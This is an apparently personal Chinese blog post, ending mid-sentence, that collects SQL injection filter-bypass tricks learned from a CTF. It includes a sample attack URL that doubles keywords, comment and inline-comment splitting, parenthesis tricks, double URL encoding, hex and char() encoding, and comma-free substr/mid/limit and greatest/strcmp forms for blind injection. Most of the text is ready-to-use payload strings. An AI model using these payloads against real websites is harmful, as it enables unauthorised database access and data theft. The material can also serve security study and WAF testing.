打了一次比赛,大佬们都说简单,我却什么都做不出来,真心受伤的一逼,是时候学习一波大佬的经验了,本次主要想要抄袭一下鸡哥的what a fuck总结,嗯嗯.
SQL语句中对大小写没有限制,但是PHP中函数经常对大小写敏感,所以用到的地方较少。
有一种waf保护的方法是删除select 、 union等关键字,所以有时用两遍可以达到意想不到的效果。
http://www.xx.com/index.php?page_id=-15 UNIunionON SELselectECT 1,2,3,4这个就比较有用了,下面列举一下可用之法
注释隔断关键词 select/**/*/**/from/**/yz; url替换 select * from yz; 是回车 内联注释 /*!select*//*!**//*!from*//*!yz*/; 括号截断,神器! select(a)from(yz); select(a)from(yz)where(a=1);来自一道题目,用到了url的二次编码
$insert=$link->query(urldecode($_GET['id'])); $row=$insert->fetch_row();%转换之后时%
select * from yz select * from %2579%257a用过爆库的童鞋都知道,有时候一般的爆库不行,需要用16进制绕过
select a from yz where b=0x32; select * from yz where b=char(0x32); select * from yz where b=char(0x67)+char(0x75)+char(0x65)+char(0x73)+char(0x74) select column_name from information_schema.tables where table_name="users" select column_name from information_schema.tables where table_name=0x7573657273在使用盲注的时候,需要使用到substr(),mid(),limit。这些子句方法都需要使用到逗号。对于substr()和mid()这两个方法可以使用from to的方式来解决。 substr(),mid()
mid(user() from 1 for 1) substr(user() from 1 for 1) select substr(user()from -1) from yz ;limit
selete * from testtable limit 2,1; selete * from testtable limit 2 offset 1;同样是在使用盲注的时候,在使用二分查找的时候需要使用到比较操作符来进行查找。如果无法使用比较操作符,那么就需要使用到greatest,strcmp来进行绕过了。
select * from users where id=1 and greatest(ascii(substr(database(),0,1)),64)=64 select strcmp(left(database(),1),0x32);#lpad('asd',2,0) if(substr(id,1,1)in(0x41),1,3)这就得佩服鸡哥的伟大了 在注入时的注释符一般为# –当两者不能用时就不能闭合引号
select 1,2,3 from yz where '1'/1=(1=1)/'1'='1 (1=1)中就有了判断位为下面的注入打下基础字节注入也是在最近的项目中发现的问题,大家都知道
